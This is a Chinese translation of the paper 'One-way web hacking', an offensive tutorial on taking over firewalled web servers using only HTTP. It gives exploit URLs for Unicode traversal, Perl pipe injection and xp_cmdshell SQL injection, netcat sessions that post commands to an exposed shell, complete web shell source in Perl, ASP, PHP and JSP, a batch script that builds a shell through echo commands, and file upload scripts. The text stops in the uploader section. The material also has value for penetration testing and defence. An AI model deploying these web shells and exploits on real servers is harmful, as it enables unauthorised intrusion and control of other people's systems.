文档标题:单向Web入侵

英文标题:One-way web hacking

原始出处:http://net-square.com/papers/one_way/one_way.html

文档作者:saumil[at]net-square.com

       译:漂浮的尘埃&黯魂

信息来源:脚本安全小组(http://www.cnsst.org

目录 

1.0 简介 

  1.1 普通web应用系统的组成 

  1.2 Web 应用系统的URL映射 

2.0 One-way web hack流程图 

3.0 探测入口点 

  3.0.1 利用URL解析

  3.0.2 利用不合法的输入参数

  3.0.3 利用SQL注入

 3.1 调用命令解释程序

  3.1.1 POSTing命令到CMD.EXE

  3.1.2 POSTing命令到 /bin/sh

  3.1.3 POST过程自动化

4.0 基于命令提示符的web

  4.0.1 Perl - perl_shell.cgi

  4.0.2 ASP - cmdasp.asp

  4.0.3 PHP - sys.php

  4.0.4 JSP - cmdexec.jsp

 4.1 安装基于命令提示符的web

  4.1.1 create_cmdasp.bat

  4.1.2 重新创建任意二进制文件

5.0 文件上传者

  5.0.1 ASP - upload.aspupload.inc

  5.0.2 Perl - upload.cgi

  5.0.3 PHP - upload.php

6.0 One-way提权

  6.1 Windows/IIS提权

    6.1.1 上传Windows攻击工具

    6.1.2  idq.dll 提权

  6.2 Linux/Apache提权

    6.2.1 上传UNIX攻击工具

    6.2.2  ptrace.c提权

7.0 基于SQL 命令提示符的web

  7.1 一个SQL命令提示符的剖析 - sqlquery.asp

  7.2 一个实例 - IISMS SQL Server

  7.3 上传sqlquery.asp

  7.4 窃取web应用程序

  7.5 通过sqlquery.asp执行SQL查询

  7.6 执行存储过程

8.0 结束语

9.0 参考

 

 

1.0 简介

      单向Web入侵是一种完全依赖于HTTP 传输来进行攻击和渗透web 服务器以及应用程序服务器的技术。这种技术被阐明用以论证当提到 web  应用程序攻击时,是否拥有严密的防火墙,或者 SSL  没有本质上的问题。One-way 技术的前提是只允许有效的HTTP 请求进入防火墙,以及有效的HTTP 应答流出防火墙。

      我在 2000 4 月就开始了对 单向Web入侵 的研究,那时我面临需要上传一个任意文件到一台拥有严密防火墙的web 服务器上。从那时起,许多其他技术的发展以及所有这些技术的总结促成了单向Web入侵方法的产生。

1.1 一个普通 web 应用系统的组成 

一个 web 应用系统由四部分组成,即:通常是一个浏览器的 web 客户端,前端 web 服务器,运行大量应用程序的应用程序服务器,数据库服务器。下面的图表显示了这些部分的组成。

 

      web 应用程序服务器支撑所有逻辑应用程序,可能是脚本表单,对象或是已编译的二进制文件。前端的web 服务器作为连接外界的应用程序接口,接收来自web 客户端的通过HTML 表单和HTTP 的输入,以及传递由HTML 页面表单中的应用程序产生的输出。在中心,连接后端数据库服务器的应用程序负责完成处理。

      假定防火墙是一个经过严密配置的,只允许HTTP 请求的进入和HTML 应答的流出。

 

1.2 Web 应用系统的 URL 映射

      当与一个web 应用程序进行交互时,在浏览器和web 服务器之间来回发送的URL 一般具有如下的格式:

      http:// server / path / application ? parameters

      即:http:// 服务器/ 路径/ 应用程序? 参数

下面的图表说明了web 应用系统中各个区域的不同部分的URL 映射:

  防火墙允许HTTPHTTPS协议进入和流出

  服务器和路径部分由前端 web 服务器解析。目前任何 URL 解析上的漏洞(比如 unicode,   double-decode)都能通过篡改 URL 中的

  服务器和路径得以利用。

  应用程序由已配置好的或已注册的应用程序服务器执行。篡改这部分会导致可以利用目前的服务器漏洞。(例如:使用 JSP servlet句柄编译和执行任意文件)

  如果提供给应用程序的参数不合法,将导致应用程序出现特殊的脆弱点。(例如:在Perl 管道中插入“I”字符到open()函数调用中)

  假如一个参数作为一个SQL数据库查询的一部分来使用,不合法的参数可能导致SQL注入攻击。(例如:使用存储过程,像“xp_cmdshell”执行任意命令)

    细节上的讨论可以在“Web Hacking Attacks and Defense [1](第九章参考中的1)”的第五章中找到。

2.0 One-way web hack 流程图 

      考虑这种情况:一个攻击者发现了一个web 应用程序的漏洞,并能够使用前面提到的技术来进行利用。攻击者能够执行任意命令,但是由于严密的防火墙,他无法继续进行更深一层的渗透。为了使攻击有效,需要注意以下两个要点:

      1. 交互式终端访问:执行命令以截获敏感信息或进一步渗透内网。

      2. 文件传输访问:上传入侵工具,像端口扫描器,rootkit 等等。

      一个严密的防火墙可能会使上面的思路很难实现,尽管如此,却也并非不可能。为了绕过这些限制,要用到一点web应用编程知识,我们可以创建一个基于命令提示符的web以及文件上传程序。

      在继续深入之前我们应该先看看one-way web hack的不同阶段,正如下面的图表所示:

 

 

 

3.0  探测入口点

      One-way web hack 从我们能在目标 web 服务器上执行远程命令开始。我们可以使用过去攻击 web 服务器的任何惯用手法。下面将举出一些如先前描述的那样,基于不同类型URL映射来完成远程指令执行的不同方法的例子。关于web服务器和应用程序漏洞的细节探讨超出了这篇文档的范围。

      我们的目标是,通过移动命令解释程序(/bin/sh, cmd.exe 等)到web 服务器文档根目录下的一个区域里来建立一个后门。这样,我们便可以通过URL 来调用命令解释程序。我们举3 个例子来说明怎样用不同的技术建立后门。

下面的图表说明了用来探测入口点的一些惯用技巧。

 

 

3.0.1 利用 URL 解析

        Unicode / Double decode攻击是URL解析漏洞的一个经典例子。下面的URL 复制了命令解释程序cmd.exeweb服务器文档根目录的”scripts/ 目录下:

http://www1.example.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts

3.0.2 利用不合法的输入参数

        在这个例子中,一个未经检测的参数通过一个不可靠的open()函数调用,直接从URL传递到了Perl CGI 脚本的news.cgi中:

  http://www2.example.com/cgi-bin/news.cgi?story=101003.txt|cp+/bin/sh+/usr/local/apache/ cgi-bin/sh.cgi|

        shell 程序(/bin/sh)作为sh.cgi 被复制到了cgi-bin  目录下。

3.0.3 利用 SQL 注入

        这里,我们演示了怎样经调用数据库服务器上的存储过程来进行SQL注入,并通过存储过程来执行命令:

http://www3.example.com/product.asp?id=5%01EXEC+master..xp_cmdshell+'copy+c:\winnt\syst em32\cmd.exe+c:\inetpub\scripts\'

 

 

3.1 调用命令解释程序

        我们移动命令解释程序或者shellweb根目录来建立后门的目的是能够通过远程HTTP调用它。HTTPPOST方法用来完成这个再恰当不过了。通过使用 POST,被传递到所调资源的输入数据可以不是标准输入,而 web 服务器通过 HTTP 连接返回的输出仍然是标准输出。

        紧接着我们就用2 个例子说明如何通过POST发送命令给命令解释程序,其中之一针对WindowsNTIIS平台上的CMD.EXE,另一个则针对的是LinuxApache 平台的sh.cgi/bin/sh的副本)。 

 

 

3.1.1 POSTing 命令到 CMD.EXE 

下面的例子显示了CMD.EXE运行的 2 个命令,前提是http://www1.example.com/scripts/cmd.exe 可访问。POST请求已用蓝色字体标出。

$ nc www1.example.com 80
POST /scripts/cmd.exe HTTP/1.0
Host: www1.example.com
Content-length: 17
 
ver
dir c:\
exit
 
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Date: Wed, 08 Dec 1999 06:13:19 GMT
Content-Type: application/octet-stream
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
 
C:\Inetpub\scripts>ver
 
Windows NT Version 4.0  
 
C:\Inetpub\scripts>dir c:\
 Volume in drive C has no label.
 Volume Serial Number is E43A-2A0A
 
 Directory of c:\
 
10/04/00  05:28a        <DIR>          WINNT
10/04/00  05:31a        <DIR>          Program Files
10/04/00  05:37a        <DIR>          TEMP
10/04/00  07:01a        <DIR>          Inetpub
10/04/00  07:01a        <DIR>          certs
11/28/00  05:12p        <DIR>          software
12/06/00  03:46p        <DIR>          src
12/07/00  12:50p        <DIR>          weblogic
12/07/00  12:53p        <DIR>          weblogic_publish
12/07/99  01:11p        <DIR>          JavaWebServer2.0
12/07/99  06:49p           134,217,728 pagefile.sys
12/07/99  07:24a        <DIR>          urlscan
12/07/99  04:55a        <DIR>          Netscape
              13 File(s)    134,217,728 bytes
                            120,782,848 bytes free
 
C:\Inetpub\scripts>exit
$

 

在上面的例子中有一些要点需要注意:CMD.EXE 必须适当地接收输入,并适当地返回web 服务器的输出,我们在命令最后键入了“exit”,用以确保CMD.EXE 输入流完全终止。因此 POST 请求中的Content-length也被计算出,要特别记住“exit”。

 

3.1.2 POSTing 命令到/bin/sh

        下面的例子显示了/bin/sh运行的 3 个命令,前提是http://www2.example.com/cgi-bin/sh.cgi可访问。POST请求同样已用蓝色字体标注。 
$ nc www2.example.com 80
POST /cgi-bin/sh.cgi HTTP/1.0
Host: www2.example.com
Content-type: text/html
Content-length: 60
 
 
echo 'Content-type: text/html'
echo
uname
id
ls -la /
exit
 
HTTP/1.1 200 OK
Date: Thu, 27 Nov 2003 20:47:20 GMT
Server: Apache/1.3.12
Connection: close
Content-Type: text/html
 
Linux
uid=99(nobody) gid=99(nobody) groups=99(nobody)
total 116
drwxr-xr-x   19 root     root         4096 Feb  2  2002 .
drwxr-xr-x   19 root     root         4096 Feb  2  2002 ..
drwxr-xr-x    2 root     root         4096 Jun 20  2001 bin
drwxr-xr-x    2 root     root         4096 Nov 28 02:01 boot
drwxr-xr-x    6 root     root        36864 Nov 28 02:01 dev
drwxr-xr-x   29 root     root         4096 Nov 28 02:01 etc
drwxr-xr-x    8 root     root         4096 Dec  1  2001 home
drwxr-xr-x    4 root     root         4096 Jun 19  2001 lib
drwxr-xr-x    2 root     root        16384 Jun 19  2001 lost+found
drwxr-xr-x    4 root     root         4096 Jun 19  2001 mnt
drwxr-xr-x    3 root     root         4096 Feb  2  2002 opt
dr-xr-xr-x   37 root     root            0 Nov 28  2003 proc
drwxr-x---    9 root     root         4096 Feb  9  2003 root
drwxr-xr-x    3 root     root         4096 Jun 20  2001 sbin
drwxrwxr-x    2 root     root         4096 Feb  2  2002 src
drwxrwxrwt    7 root     root         4096 Nov 28 02:01 tmp
drwxr-xr-x    4 root     root         4096 Feb  2  2002 u01
drwxr-xr-x   21 root     root         4096 Feb  2  2002 usr
drwxr-xr-x   16 root     root         4096 Jun 19  2001 var
$

 

        需要注意的是Apache中的/bin/sh 略微有些不同,Apache期望得到成型的来自它的所有CGI 程序的HTTP请求头部,因此我们不得不预先考虑输出中的"Content-type: text/html"行。两个“echo”命令正是为了这个目的。

 

3.1.3 自动化 POST 过程

        我们创建了2Perl脚本 post_cmd.pl post_sh.pl,试图通过正确的POST 请求把发送命令到web 服务器的任务自动化。调用 post_cmd.pl 的语法看上去像下面这样:

usage: post_cmd.pl url [proxy:port] < data

By Saumil Shah (c) net-square 2001

post_cmd.pl 以标准输入方式把所有POSTed 的数据发向URL.可以通过键入  ^D (UNIX)

or ^Z (DOS)  结束;也可使用文件或管道重定向数据。

 

        Post_cmd.pl具有能够通过HTTP代理服务器发送POST请求的功能。Post_sh.pl与它类似。

Post_cmd.pl的输出:  
$ ./post_cmd.pl http://www1.example.com/scripts/cmd.exe
ver
dir c:\
^D
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Date: Wed, 08 Dec 1999 06:05:46 GMT
Content-Type: application/octet-stream
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
 
C:\Inetpub\scripts>ver
 
Windows NT Version 4.0  
 
C:\Inetpub\scripts>dir c:\
 Volume in drive C has no label.
 Volume Serial Number is E43A-2A0A
 
 Directory of c:\
 
10/04/00  05:28a        <DIR>          WINNT
10/04/00  05:31a        <DIR>          Program Files
10/04/00  05:37a        <DIR>          TEMP
10/04/00  07:01a        <DIR>          Inetpub
10/04/00  07:01a        <DIR>          certs
11/28/00  05:12p        <DIR>          software
12/06/00  03:46p        <DIR>          src
12/07/00  12:50p        <DIR>          weblogic
12/07/00  12:53p        <DIR>          weblogic_publish
12/07/99  01:11p        <DIR>          JavaWebServer2.0
12/07/99  06:49p           134,217,728 pagefile.sys
12/07/99  07:24a        <DIR>          urlscan
12/07/99  04:55a        <DIR>          Netscape
              13 File(s)    134,217,728 bytes
                            120,782,848 bytes free
 
C:\Inetpub\scripts>exit
$

 

Post_sh.pl的输出:  
$ ./post_sh.pl http://www2.example.com/cgi-bin/sh.cgi
uname
id
ls -la /
^D
HTTP/1.1 200 OK
Date: Thu, 27 Nov 2003 20:43:54 GMT
Server: Apache/1.3.12
Connection: close
Content-Type: text/html
 
Linux
uid=99(nobody) gid=99(nobody) groups=99(nobody)
total 116
drwxr-xr-x   19 root     root         4096 Feb  2  2002 .
drwxr-xr-x   19 root     root         4096 Feb  2  2002 ..
drwxr-xr-x    2 root     root         4096 Jun 20  2001 bin
drwxr-xr-x    2 root     root         4096 Nov 28 02:01 boot
drwxr-xr-x    6 root     root        36864 Nov 28 02:01 dev
drwxr-xr-x   29 root     root         4096 Nov 28 02:01 etc
drwxr-xr-x    8 root     root         4096 Dec  1  2001 home
drwxr-xr-x    4 root     root         4096 Jun 19  2001 lib
drwxr-xr-x    2 root     root        16384 Jun 19  2001 lost+found
drwxr-xr-x    4 root     root         4096 Jun 19  2001 mnt
drwxr-xr-x    3 root     root         4096 Feb  2  2002 opt
dr-xr-xr-x   37 root     root            0 Nov 28  2003 proc
drwxr-x---    9 root     root         4096 Feb  9  2003 root
drwxr-xr-x    3 root     root         4096 Jun 20  2001 sbin
drwxrwxr-x    2 root     root         4096 Feb  2  2002 src
drwxrwxrwt    7 root     root         4096 Nov 28 02:01 tmp
drwxr-xr-x    4 root     root         4096 Feb  2  2002 u01
drwxr-xr-x   21 root     root         4096 Feb  2  2002 usr
drwxr-xr-x   16 root     root         4096 Jun 19  2001 var
$

    照这样,我们便能使用HTTP POST请求发送多重命令到目标web服务器上。这个概念将被用来在web服务器上创建任意文件,正如即将在4.1节中讨论的一样。 

 

4.0 基于命令提示符的 WEB

    在完成远程命令执行后,我们需要能够交互式的在目标web服务器上执行命令。比较普遍的做法是使其能够产生任一shell,并绑定到目标服务器的一个TCP端口上,或者使shell反向连接到我们监听的TCP端口上。但是,如果有一个严密的防火墙,只允许HTTP请求

进入和HTTP应答流出,那么这个方法也就失效了。这里我们将列举出一些基于命令提示符的web 的例子,以绕过这些限制。

    一个基于命令提示符的web 可以通过一个HTML表单,提供一个半交互式的shell终端的功能。表单以<INPUT>域接收命令,并以预先文本格式显示结果。

    之所以说基于命令提示符的web是半交互式,是因为它们并不保存终端状态,比如当前工作目录,系统环境等等。不过这些可以由基于HTML表单的 session实现,但那已超出了本文的范围。

    基于命令提示符的web执行的命令是以web服务进程的权限执行的,典型的像运行在UNIX系统上的Apacheuid是“nobody”,然而运行在Windows上的IIS,(用户组)权限却是“IUSER_机器名”或“IWAM_机器名”。

    下面给出的是4个基于命令提示符的web的例子:

4.0.1 Perl – perl_shell.cgi

    这个脚本使用Perlcgi-lib.pl提供了一个基于命令提示符的半交互式的web

#!/usr/bin/perl
 
require "cgi-lib.pl";
 
print &PrintHeader;
print "<FORM ACTION=perl_shell.cgi METHOD=GET>\n";
print "<INPUT NAME=cmd TYPE=TEXT>\n";
print "<INPUT TYPE=SUBMIT VALUE=Run>\n";
print "</FORM>\n";
 
&ReadParse(*in);
 
if($in{'cmd'} ne "") {
   print "<PRE>\n$in{'cmd'}\n\n";
   print `/bin/bash -c "$in{'cmd'}"`;
   print "</PRE>\n"; 
}

 

4.0.2 ASP – cmdasp.asp 

    这个ASP脚本是用于运行在Windows服务器上的IIS的一个基于命令提示符的webCmdasp.asp是基于maceo(at)dogmile.com的修改版。

<%
  Dim oScript, oScriptNet, oFileSys, oFile, szCMD, szTempFile
  On Error Resume Next
  Set oScript = Server.CreateObject("WSCRIPT.SHELL")
  Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
  Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")  
  szCMD = Request.Form(".CMD")  
  If (szCMD <> "") Then
    szTempFile = "C:\" & oFileSys.GetTempName( )    
    Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)  
    Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) 
  End If
%>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="Run">
</FORM>
<PRE>
<% 
  If (IsObject(oFile)) Then
    On Error Resume Next
    Response.Write Server.HTMLEncode(oFile.ReadAll)
    oFile.Close
    Call oFileSys.DeleteFile(szTempFile, True)
  End If
%>
</PRE>

                                                                                                                        

     这个脚本与基于命令提示符的其他ASP脚本的优势在于,执行shell 命令时不需要注册COM组件,并且不需要任何administrator权限。 

4.0.3 PHP – sys.php

    PHP创建一个基于shell web非常简单,下面的脚本用PHP举例说明了一个基于shellweb

<FORM ACTION="sys.php" METHOD=POST>
Command: <INPUT TYPE=TEXT NAME=cmd>
<INPUT TYPE=SUBMIT VALUE="Run">
<FORM>
<PRE>
<?php
   if(isset($cmd)) {
      system($cmd);
   }
?>
<PRE>

4.0.4 JSP – cmdexec.jsp 

    下面的JSP代码是用在支持Java Server PagesJ2EE应用服务器上的一个基于命令提示符的web

<FORM METHOD=GET ACTION='cmdexec.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
 
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
 
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>
 
<pre>
<%=output %>
</pre>

 

    任何允许执行本地OS命令的 web应用编程语言,都能被用来创建一个基于命令提示符的web 

 

 

4.1 安装基于命令提示符的 web

通过远程命令执行,我们能够执行像“echo”这样的命令并把输出重定向到一个文件中。通过多重“echo”命令,我们就可以创建一个文件,每次传送一行到远程web服务器上。这里首要的是在目标web服务器上能有一个可写的目录。

 

4.1.1 create_cmdasp.bat

    下面的命令可以被Windows DOS提示符执行,用以创建4.0.2节中提到的cmdasp.asp 

echo ^<^% > cmdasp.asp
echo Dim oScript, oScriptNet, oFileSys, oFile, szCMD, szTempFile >> cmdasp.asp
echo On Error Resume Next >> cmdasp.asp
echo Set oScript = Server.CreateObject(^"WSCRIPT.SHELL^") >> cmdasp.asp
echo Set oScriptNet = Server.CreateObject(^"WSCRIPT.NETWORK^") >> cmdasp.asp
echo Set oFileSys = Server.CreateObject(^"Scripting.FileSystemObject^")
     >> cmdasp.asp
echo szCMD = Request.Form(^".CMD^") >> cmdasp.asp
echo If (szCMD ^<^> ^"^") Then >> cmdasp.asp
echo szTempFile = ^"C:\^" & oFileSys.GetTempName() >> cmdasp.asp
echo Call oScript.Run(^"cmd.exe /c ^" ^& szCMD ^& ^" ^> ^" ^& szTempFile,0,True)
     >> cmdasp.asp
echo Set oFle = oFileSys.OpenTextFile(szTempFile,1,False,0) >> cmdasp.asp
echo End If >> cmdasp.asp
echo ^%^> >> cmdasp.asp
echo ^<FORM action=^"^<^%= Request.ServerVariables(^"URL^") ^%^>^" method=^"POST^"^>
     >> cmdasp.asp
echo ^<input type=text name=^".CMD^" size=70 value=^"^<^%= szCMD ^%^>^"^> >> cmdasp.asp
echo ^<input type=submit value=^"Run^"^> >> cmdasp.asp
echo ^</FORM^> >> cmdasp.asp
echo ^<PRE^> >> cmdasp.asp
echo ^<^% >> cmdasp.asp
echo  If (IsObject(oFile)) Then >> cmdasp.asp
echo On Error Resume Next >> cmdasp.asp
echo Response.Write Server.HTMLEncode(oFile.ReadAll) >> cmdasp.asp
echo oFile.Close >> cmdasp.asp
echo Call oFileSys.DeleteFile(szTempFile, True) >> cmdasp.asp
echo End If >> cmdasp.asp
echo ^%^> >> cmdasp.asp
echo ^<^/PRE^> >> cmdasp.asp

    使用echo这样的命令可以在服务器上创建任意文本文件,但像&, ", <, >, |, %等特殊字符应该在其前面加上转义字符。在大多数UNIX shell上转义字符是”\”,而在Windows命令提示符下转义字符为“^.

    在目标web服务器上一样能创建基于命令提示符的其他web. 

4.1.2 重新创建任意二进制文件

    UNIX shell 中也可以通过“\xHH”格式使用”echo”命令写任意字符到一个文件中,“\xHH”代表的是十六进制值。二进制文件中的一个字符串可以用一连串的十六进制值来表示:

    echo -e "\x0B\xAD\xC0\xDE\x0B\xAD\xC0\xDE\x0B\xAD\xC0\xDE" > file

即使CMD.EXE 不能写任意字符,我们仍然可以在Windows 上创建任意二进制文件。窍门是使用scripted或非交互式模式的DEBUG.EXE.

 

 

5.0 文件上传者 

    除了能够在目标web服务器上执行命令之外,攻击者还对上传文件到服务器上感兴趣。通常的方法有FTP,NFS,NETBIOS等,但如果防火墙阻止了所有这些,它们就都将无能为力。要绕过这个限制,我们需要创建一个文件上传者。4.1.2节中提到的方法在上传大一点的文件时可能会很慢,很痛苦。不过,我们有更好的选择。 

    可以使用HTTP POST Multipart-MIME方法来上传文件,发送到服务器上的文件内容是一个HTTP POST请求。在服务器上,一个上传脚本接收到这些内容后便把它们保存为一个文件。HTTP Multipart-MIME POST请求的细节讨论超出了这篇文档的范围,故不详细描述。

    为了完成文件上传,我们需要一个web服务器进程(nobody, IUSR_机器名, IWAM_机器名,.)有权限创建和写文件的目录。

下面给出了3 个上传脚本的例子:

 

5.0.1 ASP upload.asp upload.inc  

    如下2个文件包含的代码能够接收HTTP POST Multipart-MIME数据,并把它保存到一个文件中。ASP并不能解析HTTP POST Multipart-MIME加密的数据,因此附加文件upload.inc包含了必需的代码。

    Upload.asp  
<form method=post ENCTYPE="multipart/form-data">
<input type=file name="File1">
<input type="submit" Name="Action" value="Upload">
</form>
<hr>  
<!--#INCLUDE FILE="upload.inc"-->
<%
If Request.ServerVariables("REQUEST_METHOD") = "POST" Then 
   Set Fields = GetUpload()
   If Fields("File1").FileName <> "" Then  
      Fields("File1").Value.SaveAs Server.MapPath(".") & "\" & Fields("File1").FileName
      Response.Write("<LI>Upload:  " & Fields("File1").FileName)  
   End If
End If
%>  

 

    关联文件upload.inc的源代码可以在这里找到: 

http://net-square.com/papers/one_way/source_code.html#uploadinc

5.0.2 Perl – upload.cgi 

    通过使用Perl cgilib.plhttp://net-square.com/papers/one_way/source_code.html#cgilib)可以很容易创建一个上传脚本。正如下面的例子: 

#!/usr/bin/perl
 
require "cgi-lib.pl";
 
print &PrintHeader;
print "<form method='POST' enctype='multipart/form-data' action='upload.cgi'>\n";
print "File path: <input type=file name=upfile>\n";
print "<input type=submit value=upload></form>\n";
&ReadParse;

 

5.0.3 PHP – upload.php 

    使用PHP创建一个上传者也很简单:  
<FORM ENCTYPE="multipart/form-data" ACTION="upload.php" METHOD=POST>
<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="10000000">
<input type="File" name="userfile" size="30">
<INPUT TYPE="submit" VALUE="upload">
</FORM>